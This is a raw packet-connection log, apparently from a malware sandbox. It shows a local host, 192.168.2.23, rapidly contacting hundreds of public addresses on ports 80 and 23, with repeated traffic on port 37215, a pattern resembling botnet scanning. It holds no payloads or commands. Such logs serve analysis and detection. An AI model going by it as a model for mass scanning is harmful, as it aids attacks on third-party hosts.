Dec 3, 2024 23:16:52.207492113 CET	40596	80	192.168.2.23	156.30.135.57
Dec 3, 2024 23:16:52.207505941 CET	40596	80	192.168.2.23	58.202.245.200
Dec 3, 2024 23:16:52.207505941 CET	40596	80	192.168.2.23	173.154.104.84
Dec 3, 2024 23:16:52.207511902 CET	40596	80	192.168.2.23	66.217.157.186
Dec 3, 2024 23:16:52.207516909 CET	40596	80	192.168.2.23	120.82.255.115
Dec 3, 2024 23:16:52.207516909 CET	40596	80	192.168.2.23	85.63.164.28
Dec 3, 2024 23:16:52.207518101 CET	40596	80	192.168.2.23	130.29.65.75
Dec 3, 2024 23:16:52.207521915 CET	40596	80	192.168.2.23	125.7.111.192
Dec 3, 2024 23:16:52.207525969 CET	40596	80	192.168.2.23	40.216.153.186
Dec 3, 2024 23:16:52.207530975 CET	40596	80	192.168.2.23	109.162.99.219
Dec 3, 2024 23:16:52.207546949 CET	40596	80	192.168.2.23	86.242.137.189
Dec 3, 2024 23:16:52.207547903 CET	40596	80	192.168.2.23	19.113.53.180
Dec 3, 2024 23:16:52.207551956 CET	40596	80	192.168.2.23	174.81.232.225
Dec 3, 2024 23:16:52.207554102 CET	40596	80	192.168.2.23	205.65.138.146
Dec 3, 2024 23:16:52.207554102 CET	40596	80	192.168.2.23	18.183.231.84
Dec 3, 2024 23:16:52.207556963 CET	40596	80	192.168.2.23	52.138.17.89
Dec 3, 2024 23:16:52.207556963 CET	40596	80	192.168.2.23	96.180.2.73
Dec 3, 2024 23:16:52.207560062 CET	40596	80	192.168.2.23	200.147.4.105
Dec 3, 2024 23:16:52.207868099 CET	41344	80	192.168.2.23	98.23.1.12
Dec 3, 2024 23:16:52.208451986 CET	34876	80	192.168.2.23	67.186.194.136
Dec 3, 2024 23:16:52.209059954 CET	45208	80	192.168.2.23	57.118.124.196
Dec 3, 2024 23:16:52.209635019 CET	40432	80	192.168.2.23	85.157.24.226
Dec 3, 2024 23:16:52.210239887 CET	43834	80	192.168.2.23	42.96.90.150
Dec 3, 2024 23:16:52.210818052 CET	47178	80	192.168.2.23	153.109.96.159
Dec 3, 2024 23:16:52.211416960 CET	57228	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:52.211992979 CET	51650	80	192.168.2.23	168.72.114.103
Dec 3, 2024 23:16:52.212570906 CET	36772	80	192.168.2.23	209.190.249.42
Dec 3, 2024 23:16:52.254678965 CET	37215	44164	41.53.240.91	192.168.2.23
Dec 3, 2024 23:16:52.254833937 CET	37215	44222	41.53.240.91	192.168.2.23
Dec 3, 2024 23:16:52.255003929 CET	44222	37215	192.168.2.23	41.53.240.91
Dec 3, 2024 23:16:52.255003929 CET	44222	37215	192.168.2.23	41.53.240.91
Dec 3, 2024 23:16:52.255248070 CET	37215	50342	197.186.102.78	192.168.2.23
Dec 3, 2024 23:16:52.255429983 CET	37215	50404	197.186.102.78	192.168.2.23
Dec 3, 2024 23:16:52.255474091 CET	50404	37215	192.168.2.23	197.186.102.78
Dec 3, 2024 23:16:52.255487919 CET	50404	37215	192.168.2.23	197.186.102.78
Dec 3, 2024 23:16:52.255805016 CET	37215	39030	197.119.32.21	192.168.2.23
Dec 3, 2024 23:16:52.256012917 CET	37215	39090	197.119.32.21	192.168.2.23
Dec 3, 2024 23:16:52.256051064 CET	39090	37215	192.168.2.23	197.119.32.21
Dec 3, 2024 23:16:52.256062031 CET	39090	37215	192.168.2.23	197.119.32.21
Dec 3, 2024 23:16:52.256400108 CET	37215	51536	156.144.180.222	192.168.2.23
Dec 3, 2024 23:16:52.256639957 CET	37215	51594	156.144.180.222	192.168.2.23
Dec 3, 2024 23:16:52.256680012 CET	51594	37215	192.168.2.23	156.144.180.222
Dec 3, 2024 23:16:52.256691933 CET	51594	37215	192.168.2.23	156.144.180.222
Dec 3, 2024 23:16:52.256978989 CET	37215	41336	41.211.150.253	192.168.2.23
Dec 3, 2024 23:16:52.257236958 CET	37215	41394	41.211.150.253	192.168.2.23
Dec 3, 2024 23:16:52.257281065 CET	41394	37215	192.168.2.23	41.211.150.253
Dec 3, 2024 23:16:52.257292986 CET	41394	37215	192.168.2.23	41.211.150.253
Dec 3, 2024 23:16:52.257659912 CET	37215	53898	41.150.130.73	192.168.2.23
Dec 3, 2024 23:16:52.257846117 CET	37215	53956	41.150.130.73	192.168.2.23
Dec 3, 2024 23:16:52.257886887 CET	53956	37215	192.168.2.23	41.150.130.73
Dec 3, 2024 23:16:52.257895947 CET	53956	37215	192.168.2.23	41.150.130.73
Dec 3, 2024 23:16:52.258580923 CET	37215	56732	156.55.85.23	192.168.2.23
Dec 3, 2024 23:16:52.258593082 CET	37215	52546	156.101.193.95	192.168.2.23
Dec 3, 2024 23:16:52.258606911 CET	37215	38806	156.124.6.104	192.168.2.23
Dec 3, 2024 23:16:52.258615971 CET	37215	53900	197.175.227.30	192.168.2.23
Dec 3, 2024 23:16:52.258624077 CET	56732	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:52.258629084 CET	52546	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:52.258636951 CET	38806	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:52.258651018 CET	53900	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:52.258675098 CET	53900	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:52.258682013 CET	56732	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:52.258686066 CET	52546	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:52.258687973 CET	38806	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:52.283201933 CET	37215	39304	156.122.138.23	192.168.2.23
Dec 3, 2024 23:16:52.283376932 CET	37215	39342	156.122.138.23	192.168.2.23
Dec 3, 2024 23:16:52.283523083 CET	39342	37215	192.168.2.23	156.122.138.23
Dec 3, 2024 23:16:52.283523083 CET	39342	37215	192.168.2.23	156.122.138.23
Dec 3, 2024 23:16:52.283762932 CET	37215	45448	41.65.89.176	192.168.2.23
Dec 3, 2024 23:16:52.284034967 CET	37215	45486	41.65.89.176	192.168.2.23
Dec 3, 2024 23:16:52.284075975 CET	45486	37215	192.168.2.23	41.65.89.176
Dec 3, 2024 23:16:52.284075975 CET	45486	37215	192.168.2.23	41.65.89.176
Dec 3, 2024 23:16:52.284394026 CET	37215	34594	41.197.26.189	192.168.2.23
Dec 3, 2024 23:16:52.285032988 CET	37215	55338	41.122.67.190	192.168.2.23
Dec 3, 2024 23:16:52.285753012 CET	37215	49936	156.67.180.155	192.168.2.23
Dec 3, 2024 23:16:52.286293983 CET	37215	43094	197.129.180.180	192.168.2.23
Dec 3, 2024 23:16:52.287364960 CET	37215	35226	197.197.150.3	192.168.2.23
Dec 3, 2024 23:16:52.287386894 CET	37215	35264	197.197.150.3	192.168.2.23
Dec 3, 2024 23:16:52.287426949 CET	35264	37215	192.168.2.23	197.197.150.3
Dec 3, 2024 23:16:52.287451982 CET	35264	37215	192.168.2.23	197.197.150.3
Dec 3, 2024 23:16:52.288286924 CET	37215	48274	156.45.45.252	192.168.2.23
Dec 3, 2024 23:16:52.290452003 CET	37215	60772	156.97.251.247	192.168.2.23
Dec 3, 2024 23:16:52.295954943 CET	37215	50342	197.186.102.78	192.168.2.23
Dec 3, 2024 23:16:52.296000957 CET	37215	44164	41.53.240.91	192.168.2.23
Dec 3, 2024 23:16:52.299963951 CET	37215	53898	41.150.130.73	192.168.2.23
Dec 3, 2024 23:16:52.299972057 CET	37215	41336	41.211.150.253	192.168.2.23
Dec 3, 2024 23:16:52.299978971 CET	37215	51536	156.144.180.222	192.168.2.23
Dec 3, 2024 23:16:52.299988031 CET	37215	39030	197.119.32.21	192.168.2.23
Dec 3, 2024 23:16:52.323905945 CET	37215	45448	41.65.89.176	192.168.2.23
Dec 3, 2024 23:16:52.323915958 CET	37215	39304	156.122.138.23	192.168.2.23
Dec 3, 2024 23:16:52.327936888 CET	37215	34594	41.197.26.189	192.168.2.23
Dec 3, 2024 23:16:52.327945948 CET	37215	35226	197.197.150.3	192.168.2.23
Dec 3, 2024 23:16:52.327953100 CET	37215	43094	197.129.180.180	192.168.2.23
Dec 3, 2024 23:16:52.327961922 CET	37215	49936	156.67.180.155	192.168.2.23
Dec 3, 2024 23:16:52.327971935 CET	37215	55338	41.122.67.190	192.168.2.23
Dec 3, 2024 23:16:52.329833984 CET	80	40596	176.250.219.218	192.168.2.23
Dec 3, 2024 23:16:52.329843044 CET	80	40596	133.155.42.209	192.168.2.23
Dec 3, 2024 23:16:52.329850912 CET	80	40596	125.159.204.221	192.168.2.23
Dec 3, 2024 23:16:52.329864979 CET	80	40596	45.93.92.23	192.168.2.23
Dec 3, 2024 23:16:52.329879045 CET	40596	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.329884052 CET	40596	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.329885006 CET	40596	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.329893112 CET	40596	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.331911087 CET	37215	60772	156.97.251.247	192.168.2.23
Dec 3, 2024 23:16:52.331919909 CET	37215	48274	156.45.45.252	192.168.2.23
Dec 3, 2024 23:16:52.335025072 CET	80	57228	173.42.62.157	192.168.2.23
Dec 3, 2024 23:16:52.335174084 CET	57228	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:52.335448980 CET	40820	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.336057901 CET	46348	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.336661100 CET	59036	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.337270975 CET	43054	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.337652922 CET	57228	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:52.337652922 CET	57228	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:52.337922096 CET	57242	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:52.358916044 CET	56428	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:52.358916044 CET	38022	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:52.358916044 CET	52298	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:52.358916044 CET	33214	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:52.379100084 CET	37215	44222	41.53.240.91	192.168.2.23
Dec 3, 2024 23:16:52.379307985 CET	44222	37215	192.168.2.23	41.53.240.91
Dec 3, 2024 23:16:52.379573107 CET	37215	50404	197.186.102.78	192.168.2.23
Dec 3, 2024 23:16:52.379616976 CET	50404	37215	192.168.2.23	197.186.102.78
Dec 3, 2024 23:16:52.379868984 CET	37215	39090	197.119.32.21	192.168.2.23
Dec 3, 2024 23:16:52.379888058 CET	37215	39090	197.119.32.21	192.168.2.23
Dec 3, 2024 23:16:52.379929066 CET	39090	37215	192.168.2.23	197.119.32.21
Dec 3, 2024 23:16:52.380522013 CET	37215	51594	156.144.180.222	192.168.2.23
Dec 3, 2024 23:16:52.380561113 CET	51594	37215	192.168.2.23	156.144.180.222
Dec 3, 2024 23:16:52.381125927 CET	37215	41394	41.211.150.253	192.168.2.23
Dec 3, 2024 23:16:52.381170034 CET	41394	37215	192.168.2.23	41.211.150.253
Dec 3, 2024 23:16:52.381702900 CET	37215	53956	41.150.130.73	192.168.2.23
Dec 3, 2024 23:16:52.381745100 CET	53956	37215	192.168.2.23	41.150.130.73
Dec 3, 2024 23:16:52.382601023 CET	37215	56732	156.55.85.23	192.168.2.23
Dec 3, 2024 23:16:52.382642031 CET	56732	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:52.382883072 CET	37215	52546	156.101.193.95	192.168.2.23
Dec 3, 2024 23:16:52.382922888 CET	52546	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:52.383208990 CET	37215	38806	156.124.6.104	192.168.2.23
Dec 3, 2024 23:16:52.383249044 CET	38806	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:52.383280993 CET	37215	53900	197.175.227.30	192.168.2.23
Dec 3, 2024 23:16:52.383332014 CET	53900	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:52.407565117 CET	37215	39342	156.122.138.23	192.168.2.23
Dec 3, 2024 23:16:52.407691002 CET	39342	37215	192.168.2.23	156.122.138.23
Dec 3, 2024 23:16:52.407885075 CET	37215	45486	41.65.89.176	192.168.2.23
Dec 3, 2024 23:16:52.407969952 CET	37215	45486	41.65.89.176	192.168.2.23
Dec 3, 2024 23:16:52.408091068 CET	45486	37215	192.168.2.23	41.65.89.176
Dec 3, 2024 23:16:52.411448956 CET	37215	35264	197.197.150.3	192.168.2.23
Dec 3, 2024 23:16:52.411504030 CET	35264	37215	192.168.2.23	197.197.150.3
Dec 3, 2024 23:16:52.459130049 CET	80	40820	176.250.219.218	192.168.2.23
Dec 3, 2024 23:16:52.459289074 CET	40820	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.459289074 CET	40820	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.459289074 CET	40820	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.459598064 CET	40830	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.459760904 CET	80	46348	133.155.42.209	192.168.2.23
Dec 3, 2024 23:16:52.459800005 CET	46348	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.459986925 CET	46348	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.459986925 CET	46348	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.460253954 CET	46358	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.460287094 CET	80	59036	125.159.204.221	192.168.2.23
Dec 3, 2024 23:16:52.460321903 CET	59036	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.460645914 CET	59036	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.460645914 CET	59036	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.460935116 CET	59046	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.461015940 CET	80	43054	45.93.92.23	192.168.2.23
Dec 3, 2024 23:16:52.461055040 CET	43054	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.461273909 CET	80	57228	173.42.62.157	192.168.2.23
Dec 3, 2024 23:16:52.461316109 CET	43054	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.461316109 CET	43054	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.461553097 CET	80	57242	173.42.62.157	192.168.2.23
Dec 3, 2024 23:16:52.461592913 CET	57242	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:52.461604118 CET	43064	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.461972952 CET	57242	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:52.482827902 CET	80	52298	181.49.1.9	192.168.2.23
Dec 3, 2024 23:16:52.482848883 CET	80	56428	69.10.3.184	192.168.2.23
Dec 3, 2024 23:16:52.482853889 CET	80	38022	41.75.167.181	192.168.2.23
Dec 3, 2024 23:16:52.482857943 CET	80	33214	175.204.245.90	192.168.2.23
Dec 3, 2024 23:16:52.482975006 CET	52298	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:52.482975006 CET	33214	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:52.482978106 CET	38022	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:52.482978106 CET	56428	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:52.483191013 CET	56428	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:52.483191013 CET	56428	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:52.483463049 CET	56888	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:52.483819962 CET	38022	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:52.483830929 CET	38022	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:52.484111071 CET	38480	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:52.484467030 CET	33214	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:52.484467030 CET	33214	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:52.484745026 CET	33672	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:52.485096931 CET	52298	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:52.485096931 CET	52298	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:52.485371113 CET	52756	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:52.486809015 CET	60218	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:52.503927946 CET	80	57228	173.42.62.157	192.168.2.23
Dec 3, 2024 23:16:52.582995892 CET	80	40820	176.250.219.218	192.168.2.23
Dec 3, 2024 23:16:52.583215952 CET	80	40830	176.250.219.218	192.168.2.23
Dec 3, 2024 23:16:52.583374023 CET	40830	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.583374023 CET	40830	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.583652973 CET	80	46348	133.155.42.209	192.168.2.23
Dec 3, 2024 23:16:52.583964109 CET	80	46358	133.155.42.209	192.168.2.23
Dec 3, 2024 23:16:52.584012985 CET	46358	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.584012985 CET	46358	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.584316969 CET	80	59036	125.159.204.221	192.168.2.23
Dec 3, 2024 23:16:52.584559917 CET	80	59046	125.159.204.221	192.168.2.23
Dec 3, 2024 23:16:52.584606886 CET	59046	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.584606886 CET	59046	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.584955931 CET	80	43054	45.93.92.23	192.168.2.23
Dec 3, 2024 23:16:52.585231066 CET	80	43064	45.93.92.23	192.168.2.23
Dec 3, 2024 23:16:52.585268974 CET	43064	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.585278988 CET	43064	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.585660934 CET	80	57242	173.42.62.157	192.168.2.23
Dec 3, 2024 23:16:52.585715055 CET	57242	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:52.607320070 CET	80	56428	69.10.3.184	192.168.2.23
Dec 3, 2024 23:16:52.607331038 CET	80	56888	69.10.3.184	192.168.2.23
Dec 3, 2024 23:16:52.607367039 CET	56888	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:52.607434988 CET	80	38022	41.75.167.181	192.168.2.23
Dec 3, 2024 23:16:52.607556105 CET	56888	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:52.607745886 CET	80	38480	41.75.167.181	192.168.2.23
Dec 3, 2024 23:16:52.607789993 CET	38480	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:52.607800007 CET	38480	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:52.608149052 CET	80	33214	175.204.245.90	192.168.2.23
Dec 3, 2024 23:16:52.608359098 CET	80	33672	175.204.245.90	192.168.2.23
Dec 3, 2024 23:16:52.608398914 CET	33672	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:52.608412027 CET	33672	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:52.608711958 CET	80	52298	181.49.1.9	192.168.2.23
Dec 3, 2024 23:16:52.609023094 CET	80	52756	181.49.1.9	192.168.2.23
Dec 3, 2024 23:16:52.609067917 CET	52756	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:52.609081984 CET	52756	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:52.610455036 CET	80	60218	193.206.198.78	192.168.2.23
Dec 3, 2024 23:16:52.610502005 CET	60218	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:52.610513926 CET	60218	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:52.623887062 CET	80	46348	133.155.42.209	192.168.2.23
Dec 3, 2024 23:16:52.623923063 CET	80	40820	176.250.219.218	192.168.2.23
Dec 3, 2024 23:16:52.627984047 CET	80	43054	45.93.92.23	192.168.2.23
Dec 3, 2024 23:16:52.627995968 CET	80	59036	125.159.204.221	192.168.2.23
Dec 3, 2024 23:16:52.647941113 CET	80	38022	41.75.167.181	192.168.2.23
Dec 3, 2024 23:16:52.647952080 CET	80	56428	69.10.3.184	192.168.2.23
Dec 3, 2024 23:16:52.651900053 CET	80	52298	181.49.1.9	192.168.2.23
Dec 3, 2024 23:16:52.651917934 CET	80	33214	175.204.245.90	192.168.2.23
Dec 3, 2024 23:16:52.707669020 CET	80	40830	176.250.219.218	192.168.2.23
Dec 3, 2024 23:16:52.707844973 CET	40830	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.708111048 CET	80	46358	133.155.42.209	192.168.2.23
Dec 3, 2024 23:16:52.708236933 CET	46358	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.708520889 CET	80	59046	125.159.204.221	192.168.2.23
Dec 3, 2024 23:16:52.708563089 CET	59046	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.709058046 CET	80	43064	45.93.92.23	192.168.2.23
Dec 3, 2024 23:16:52.709099054 CET	43064	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.727490902 CET	40602	23	192.168.2.23	216.138.106.232
Dec 3, 2024 23:16:52.727492094 CET	40602	23	192.168.2.23	169.224.59.47
Dec 3, 2024 23:16:52.727494955 CET	40602	23	192.168.2.23	174.80.102.193
Dec 3, 2024 23:16:52.727498055 CET	40602	23	192.168.2.23	132.248.118.107
Dec 3, 2024 23:16:52.727498055 CET	40602	23	192.168.2.23	123.137.189.239
Dec 3, 2024 23:16:52.727499962 CET	40602	23	192.168.2.23	125.106.225.80
Dec 3, 2024 23:16:52.727508068 CET	40602	23	192.168.2.23	172.108.132.37
Dec 3, 2024 23:16:52.727509022 CET	40602	23	192.168.2.23	42.17.50.98
Dec 3, 2024 23:16:52.727513075 CET	40602	23	192.168.2.23	120.68.56.34
Dec 3, 2024 23:16:52.727530003 CET	40602	23	192.168.2.23	59.186.186.94
Dec 3, 2024 23:16:52.727534056 CET	40602	23	192.168.2.23	24.221.227.15
Dec 3, 2024 23:16:52.727534056 CET	40602	23	192.168.2.23	168.180.101.151
Dec 3, 2024 23:16:52.727541924 CET	40602	23	192.168.2.23	187.90.235.144
Dec 3, 2024 23:16:52.727544069 CET	40602	23	192.168.2.23	107.150.103.22
Dec 3, 2024 23:16:52.727544069 CET	40602	23	192.168.2.23	160.172.76.112
Dec 3, 2024 23:16:52.727544069 CET	40602	23	192.168.2.23	13.139.0.170
Dec 3, 2024 23:16:52.727549076 CET	40602	23	192.168.2.23	83.156.185.44
Dec 3, 2024 23:16:52.727549076 CET	40602	23	192.168.2.23	47.51.220.192
Dec 3, 2024 23:16:52.727552891 CET	40602	23	192.168.2.23	86.138.43.48
Dec 3, 2024 23:16:52.727555990 CET	40602	23	192.168.2.23	192.184.154.171
Dec 3, 2024 23:16:52.727567911 CET	40602	23	192.168.2.23	117.92.99.174
Dec 3, 2024 23:16:52.727567911 CET	40602	23	192.168.2.23	88.41.197.109
Dec 3, 2024 23:16:52.727569103 CET	40602	23	192.168.2.23	216.100.96.107
Dec 3, 2024 23:16:52.727579117 CET	40602	23	192.168.2.23	87.204.139.158
Dec 3, 2024 23:16:52.727581978 CET	40602	23	192.168.2.23	84.29.8.115
Dec 3, 2024 23:16:52.727581978 CET	40602	23	192.168.2.23	192.27.116.247
Dec 3, 2024 23:16:52.727582932 CET	40602	23	192.168.2.23	179.124.165.100
Dec 3, 2024 23:16:52.727582932 CET	40602	23	192.168.2.23	23.126.156.123
Dec 3, 2024 23:16:52.727591991 CET	40602	23	192.168.2.23	83.47.171.78
Dec 3, 2024 23:16:52.727603912 CET	40602	23	192.168.2.23	186.134.169.176
Dec 3, 2024 23:16:52.727603912 CET	40602	23	192.168.2.23	211.197.12.124
Dec 3, 2024 23:16:52.727603912 CET	40602	23	192.168.2.23	159.134.154.197
Dec 3, 2024 23:16:52.727611065 CET	40602	23	192.168.2.23	103.103.159.225
Dec 3, 2024 23:16:52.727613926 CET	40602	23	192.168.2.23	84.166.237.23
Dec 3, 2024 23:16:52.727613926 CET	40602	23	192.168.2.23	25.253.38.237
Dec 3, 2024 23:16:52.727627039 CET	40602	23	192.168.2.23	20.89.247.2
Dec 3, 2024 23:16:52.727632046 CET	40602	23	192.168.2.23	169.94.201.132
Dec 3, 2024 23:16:52.727638960 CET	40602	23	192.168.2.23	105.4.229.69
Dec 3, 2024 23:16:52.727638960 CET	40602	23	192.168.2.23	132.79.190.143
Dec 3, 2024 23:16:52.727644920 CET	40602	23	192.168.2.23	20.164.85.170
Dec 3, 2024 23:16:52.727653027 CET	40602	23	192.168.2.23	80.212.236.245
Dec 3, 2024 23:16:52.727657080 CET	40602	23	192.168.2.23	202.67.229.215
Dec 3, 2024 23:16:52.727672100 CET	40602	23	192.168.2.23	60.22.220.17
Dec 3, 2024 23:16:52.727677107 CET	40602	23	192.168.2.23	94.251.147.45
Dec 3, 2024 23:16:52.727677107 CET	40602	23	192.168.2.23	212.183.242.144
Dec 3, 2024 23:16:52.727679014 CET	40602	23	192.168.2.23	161.130.168.90
Dec 3, 2024 23:16:52.727684975 CET	40602	23	192.168.2.23	109.215.228.232
Dec 3, 2024 23:16:52.727700949 CET	40602	23	192.168.2.23	41.1.90.26
Dec 3, 2024 23:16:52.727703094 CET	40602	23	192.168.2.23	81.39.186.36
Dec 3, 2024 23:16:52.727706909 CET	40602	23	192.168.2.23	182.12.130.111
Dec 3, 2024 23:16:52.727710962 CET	40602	23	192.168.2.23	150.212.83.44
Dec 3, 2024 23:16:52.727724075 CET	40602	23	192.168.2.23	98.25.222.112
Dec 3, 2024 23:16:52.727729082 CET	40602	23	192.168.2.23	37.194.112.205
Dec 3, 2024 23:16:52.727727890 CET	40602	23	192.168.2.23	74.123.205.112
Dec 3, 2024 23:16:52.727727890 CET	40602	23	192.168.2.23	167.121.145.43
Dec 3, 2024 23:16:52.727732897 CET	40602	23	192.168.2.23	151.168.156.19
Dec 3, 2024 23:16:52.727741003 CET	40602	23	192.168.2.23	222.53.23.81
Dec 3, 2024 23:16:52.727744102 CET	40602	23	192.168.2.23	19.75.140.193
Dec 3, 2024 23:16:52.727746964 CET	40602	23	192.168.2.23	121.10.224.9
Dec 3, 2024 23:16:52.727756023 CET	40602	23	192.168.2.23	115.119.255.233
Dec 3, 2024 23:16:52.727756977 CET	40602	23	192.168.2.23	136.53.210.73
Dec 3, 2024 23:16:52.727771997 CET	40602	23	192.168.2.23	195.224.80.202
Dec 3, 2024 23:16:52.727773905 CET	40602	23	192.168.2.23	27.41.193.249
Dec 3, 2024 23:16:52.727776051 CET	40602	23	192.168.2.23	45.37.116.78
Dec 3, 2024 23:16:52.727785110 CET	40602	23	192.168.2.23	67.112.203.121
Dec 3, 2024 23:16:52.727786064 CET	40602	23	192.168.2.23	4.163.249.207
Dec 3, 2024 23:16:52.727787018 CET	40602	23	192.168.2.23	177.188.87.66
Dec 3, 2024 23:16:52.727787018 CET	40602	23	192.168.2.23	210.106.143.61
Dec 3, 2024 23:16:52.727787018 CET	40602	23	192.168.2.23	156.12.84.26
Dec 3, 2024 23:16:52.727787018 CET	40602	23	192.168.2.23	90.46.207.84
Dec 3, 2024 23:16:52.727788925 CET	40602	23	192.168.2.23	144.252.105.107
Dec 3, 2024 23:16:52.727787018 CET	40602	23	192.168.2.23	177.188.57.77
Dec 3, 2024 23:16:52.727787018 CET	40602	23	192.168.2.23	145.88.175.96
Dec 3, 2024 23:16:52.727798939 CET	40602	23	192.168.2.23	157.17.63.24
Dec 3, 2024 23:16:52.727801085 CET	40602	23	192.168.2.23	212.213.112.194
Dec 3, 2024 23:16:52.727801085 CET	40602	23	192.168.2.23	126.62.137.215
Dec 3, 2024 23:16:52.727806091 CET	40602	23	192.168.2.23	163.144.240.22
Dec 3, 2024 23:16:52.727806091 CET	40602	23	192.168.2.23	158.217.209.207
Dec 3, 2024 23:16:52.727807999 CET	40602	23	192.168.2.23	196.62.96.72
Dec 3, 2024 23:16:52.727811098 CET	40602	23	192.168.2.23	42.69.247.204
Dec 3, 2024 23:16:52.727811098 CET	40602	23	192.168.2.23	163.253.93.121
Dec 3, 2024 23:16:52.727813005 CET	40602	23	192.168.2.23	210.248.186.188
Dec 3, 2024 23:16:52.727823973 CET	40602	23	192.168.2.23	44.151.201.97
Dec 3, 2024 23:16:52.727823973 CET	40602	23	192.168.2.23	216.144.154.209
Dec 3, 2024 23:16:52.727828979 CET	40602	23	192.168.2.23	201.129.16.173
Dec 3, 2024 23:16:52.727828979 CET	40602	23	192.168.2.23	218.130.19.15
Dec 3, 2024 23:16:52.727828979 CET	40602	23	192.168.2.23	152.70.103.113
Dec 3, 2024 23:16:52.727829933 CET	40602	23	192.168.2.23	95.127.93.98
Dec 3, 2024 23:16:52.727830887 CET	40602	23	192.168.2.23	220.172.88.254
Dec 3, 2024 23:16:52.727830887 CET	40602	23	192.168.2.23	91.40.196.7
Dec 3, 2024 23:16:52.727830887 CET	40602	23	192.168.2.23	210.76.8.213
Dec 3, 2024 23:16:52.727832079 CET	40602	23	192.168.2.23	221.30.7.115
Dec 3, 2024 23:16:52.727832079 CET	40602	23	192.168.2.23	31.237.137.46
Dec 3, 2024 23:16:52.727832079 CET	40602	23	192.168.2.23	169.214.58.30
